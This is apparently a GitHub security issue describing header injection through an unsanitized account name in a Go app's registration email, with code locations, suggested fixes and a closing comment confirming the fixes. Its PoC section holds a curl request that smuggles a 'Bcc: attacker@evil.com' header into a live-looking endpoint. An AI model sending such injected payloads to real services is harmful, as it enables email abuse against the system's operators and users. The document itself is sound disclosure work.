Repository navigation
sec(email): registration notification subject built from unsanitized AccountName — SMTP header injection #401
Description
Summary
The registration notification email subject is built directly from the attacker-controlled account_name field submitted to the unauthenticated POST /api/register endpoint:
// internal/email/smtp_sender.go:413
subject := fmt.Sprintf("CUDly - New Account Registration: %s (%s)", data.AccountName, data.Provider)sanitizeHeader is called on toEmail and subject inside SendToEmailWithCC but the subject is constructed from raw user input before it is passed to the send function. Because sanitizeHeader strips \r and \n, the subject parameter reaching buildSMTPMessage is safe. However, the construction pattern is fragile:
data.AccountNameflows frombody.AccountNameinsubmitRegistrationwith no length or character-class validation (only!= ""and email format checks are done invalidateRegistrationRequest).- A sufficiently long or Unicode-heavy account name can bloat the
Subject:header line beyond 998 characters, causing RFC-5321-noncompliant message framing that some spam filters or mail gateways handle incorrectly. - More critically, the SES sender path (
internal/email/sender.go) also builds the same subject string fromdata.AccountNameand passes it directly to the SES API — SES accepts MIME header values verbatim; anAccountNamecontaining\r\nwould not be stripped bysanitizeHeader(sincesanitizeHeaderis only called in the SMTP path, not the SES path).
Location
internal/email/smtp_sender.goline 413 — SMTP subject constructioninternal/email/templates.goline 808 — SES subject construction (samefmt.Sprintfpattern, no sanitization call)internal/api/handler_registrations.golines 63-67 —account_namecopied verbatim from unauthenticated POST body
Reproduction (PoC)
curl -s -X POST \
"https://33pz7pombdqwu3bdlxp4lqxyra0bsriy.lambda-url.us-east-1.on.aws/api/register" \
-H "Content-Type: application/json" \
-d '{
"provider": "aws",
"external_id": "123456789012",
"account_name": "Legit Account\r\nBcc: attacker@evil.com",
"contact_email": "attacker@example.com"
}'Against the SES path the \r\n is not stripped before SES sees it. SES may reject the call with a validation error (best case) or forward the injected Bcc header (worst case, depends on SES version and SDK).
Suggested Fix
- In
validateRegistrationRequest, add a length cap and character allowlist (or CRLF strip) onAccountName:if len(body.AccountName) > 200 { return NewClientError(400, "account_name too long") } accountName = strings.NewReplacer("\r", "", "\n", "").Replace(body.AccountName)
- In
templates.go(SES path), applysanitizeHeaderto the account name before interpolating into the subject:subject := fmt.Sprintf("CUDly - New Account Registration: %s (%s)", sanitizeHeader(data.AccountName), sanitizeHeader(data.Provider))
Severity Rationale
Medium. The SMTP path is protected by sanitizeHeader at the send site. The SES path is not. Exploitability depends on whether the SES SDK validates MIME headers before sending; in practice SES SDKs do validate headers which limits severity, but the defence-in-depth gap at the data source is real and the fix is trivial.
Activity
sec(email): set TLS 1.2 minimum on SMTP StartTLS and sanitize registr…
cristim commentedon May 28, 2026
Verified: PR #523 (commit f9c20a2) sanitized AccountName/Provider via sanitizeHeader in the SMTP path; PR #566 (commit 4956d66) adds CRLF strip + length cap in validateRegistrationRequest and sanitizes the SES subject in templates.go. Both commits on origin/feat/multicloud-web-frontend.